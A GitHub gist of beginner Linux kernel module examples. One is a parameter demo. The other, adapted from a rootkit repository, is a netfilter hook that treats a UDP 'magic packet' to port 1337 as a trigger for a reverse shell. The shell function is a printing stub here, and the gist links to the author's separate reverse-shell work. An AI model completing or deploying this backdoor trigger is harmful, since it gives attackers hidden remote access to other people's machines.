Skip to content

Instantly share code, notes, and snippets.

@loneicewolf
Last active February 3, 2024 19:17
Show Gist options
  • Save loneicewolf/226e3e20e6041d12a63a5e833ebb0503 to your computer and use it in GitHub Desktop.
Save loneicewolf/226e3e20e6041d12a63a5e833ebb0503 to your computer and use it in GitHub Desktop.
LKM Loadable Kernel Modules in Linux

LKM - Loadable Kernel Modules in Linux

Some code taken from other sources(others repo's, gist's), sites, courses, and so on. And some code is made and/or modified by me; :warning: note - any of this is not perfect; I make this gist to some friends which asked me for some beginner lkm dev;

@loneicewolf
Copy link
Author

Input 1, with default value

Makefile

obj-m+=project.o
all:
	make -C /lib/modules/$(shell uname -r)/build/ \
	M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build/ \
	M=$(PWD) clean
test_a:
	echo "\n-------test a--------\n"
	-sudo rmmod project
	sudo dmesg -C
	sudo insmod project.ko
	-sudo rmmod project
	sudo dmesg
	
test_b:
	echo "\n-------test b--------\n"
	-sudo rmmod project
	sudo dmesg -C
	sudo insmod project.ko p1="CHANGED_VALUE"
	-sudo rmmod project
	sudo dmesg

project.c

/*
make clean  &&  sleep 1 &&  make  && sleep 1 &&  make test_a && sleep 1 && make test_b
lsmod|grep -i --color "project"
sudo grep -i --color "project" /var/log/kern.log
https://tldp.org/LDP/lkmpg/2.6/html/x323.html
http://books.gigatux.nl/mirror/kerneldevelopment/0672327201/ch16lev1sec6.html
http://derekmolloy.ie/writing-a-linux-kernel-module-part-1-introduction
*/

#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Author");
MODULE_DESCRIPTION("Desc");
MODULE_VERSION("1.0");

#define MSG_Loaded   printk(KERN_INFO "[+] project: Loaded \n");
#define MSG_UnLoaded printk(KERN_INFO "[-] project: Unloaded\n");

static char *p1="default_value";
module_param(p1, charp, S_IRUGO);
MODULE_PARM_DESC(p1, "p1 description");

int init_module(void){
    printk(KERN_INFO "[*] module parameter p1 = %s\n",p1);
    MSG_Loaded;
    return 0;
}

void cleanup_module(void){
    //printk(KERN_INFO "\n");
    MSG_UnLoaded;
}

@loneicewolf
Copy link
Author

Networking - NF Hook

⚠️ taken and modified from nisay759/linux-rootkits
And some more sources;

Makefile

obj-m+=project.o
all:
	make -C /lib/modules/$(shell uname -r)/build/ \
	M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build/ \
	M=$(PWD) clean
test:
	@echo ""
	@echo "sudo dmesg -C"
	@echo "sudo dmesg"
	@echo "sudo insmod project.ko p1=\"xyz123\""
	@echo "echo 'a' >> /dev/udp/127.0.0.1/1337"
	@echo "sudo rmmod project.ko"
	@echo "sudo dmesg"
	@echo ""

LKM

/*
lsmod|grep -i --color "project"
sudo grep -i --color "project" /var/log/kern.log

# TESTRUN
# follow the makefile's instructions  (output)

$ make clean
$ make
$ make test

input:
    sudo dmesg -C
    sudo dmesg
    sudo insmod project.ko p1="xyz123"
    echo 'a' >> /dev/udp/127.0.0.1/1337
    sudo rmmod project.ko
    sudo dmesg

output:
[+] project: Loaded 
[*] module parameter p1 = xyz123
  [+] project: nfhook a
    [+]NFhook: received magic packet
  (*)  invoke.reverse.shell. with: ip=127.0.0.1, port=1337
  [-] project: nfhook b
[-] project: Unloaded
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/ip.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/skbuff.h>
#include <linux/udp.h>
#include <linux/kmod.h>
#include <linux/preempt.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Author");
MODULE_DESCRIPTION("Desc");
MODULE_VERSION("1.0");

#define MSG_Loaded    printk(KERN_INFO "[+] project: Loaded \n");
#define MSG_UnLoaded  printk(KERN_INFO "[-] project: Unloaded\n");
#define MSG_nf_hook_a printk(KERN_INFO "  [+] project: nfhook a\n");
#define MSG_nf_hook_b printk(KERN_INFO "  [-] project: nfhook b\n");

static char *p1="default_value";
module_param(p1, charp, S_IRUGO);
MODULE_PARM_DESC(p1, "p1 description");

//TODO
// I will re-write this instead of using 
// an usermode applciation.
// See the original repo for the 
// original code of the function
static int invoke_reverse_shell(char *ip, char *port){
    printk(KERN_INFO "  (*)  invoke.reverse.shell. with: ip=%s, port=%s\n",ip,port);
    return 0; // for now.
}

static unsigned int rk_hook(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){
	if(!skb) {return NF_ACCEPT;                               }
	struct iphdr *ip_header = ip_hdr(skb);
	if(!ip_header || !ip_header->protocol){ return NF_ACCEPT; }
	if(ip_header->protocol != 17) {return NF_ACCEPT;          }
	struct udphdr *udp_header = udp_hdr(skb);
	unsigned int dst_prt = (unsigned int)ntohs(udp_header->dest);
	/* Max ip length : "xxx.xxx.xxx.xxx\0" */
	char ip[16];
	/* Max port length : "65535\0" */
	char port[6];
	//TODO
	if(dst_prt == 1337){
		pr_info("    [+]NFhook: received magic packet\n");
		snprintf(ip, sizeof(ip), "%pI4", &ip_header->saddr);
		snprintf(port, sizeof(port), "%u", dst_prt);
		preempt_disable();
	  
	  if (invoke_reverse_shell(ip, port) < 0)  {
		    pr_info("    [*] invoke_reverse_shell fail\n");
		  }
		  
	  preempt_enable();
		return NF_DROP;
	}
	return NF_ACCEPT;
}

static struct nf_hook_ops rk_pre_routing = {
	.hook = rk_hook,
	.hooknum = NF_INET_PRE_ROUTING,
	.pf = PF_INET,
	.priority = NF_IP_PRI_FIRST,
};


int init_module(void){
	MSG_Loaded;
	printk(KERN_INFO "[*] module parameter p1 = %s\n",p1);
	
	nf_register_net_hook(&init_net,&rk_pre_routing);
	MSG_nf_hook_a;
    
    return 0;
}

void cleanup_module(void){
    nf_unregister_net_hook(&init_net,&rk_pre_routing);
	MSG_nf_hook_b
	
	MSG_UnLoaded;
}

@loneicewolf
Copy link
Author

loneicewolf commented Jan 29, 2023

Related links

My Pull Request (currently pending ..)

My 'patch-5' branch of Nisay's rootkits:


testing own reverse shell (updated - now with inputs) in this linux lkm:

@loneicewolf
Copy link
Author

loneicewolf commented Feb 1, 2023

Expand todo
  • add dropdowns
  • add footnotes
  • add "copy contents" button (?)
  • (reliable) related links
  • scripts (to automate, build, load, unload, configure, template, structure, searchers)
  • pitfalls
  • notation (symbols,keywords, "emojis", colors, ..., . )
  • clean up.

@loneicewolf
Copy link
Author

loneicewolf commented Feb 1, 2023

Expand todo: pitfalls
  • includes
  • using/calling wrong function/file
  • reboot required/snapshot/checkpoint restore (if crashy/unstable)
  • Null's, newlines, \*, not =0 when one should do;
  • order (in some cases) of functions (note - mostly in normal C usermode programming but)

@loneicewolf
Copy link
Author

Expand todo: misc
  • easy future maintainable (e.g when done with a project, generalize it, simplify it, apply best practices, etc. Document. Include "supported versions", and so on.)

  • Naming. Name things well.

  • Know when to use (and change to the better)

  • //

  • or

  • /**/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment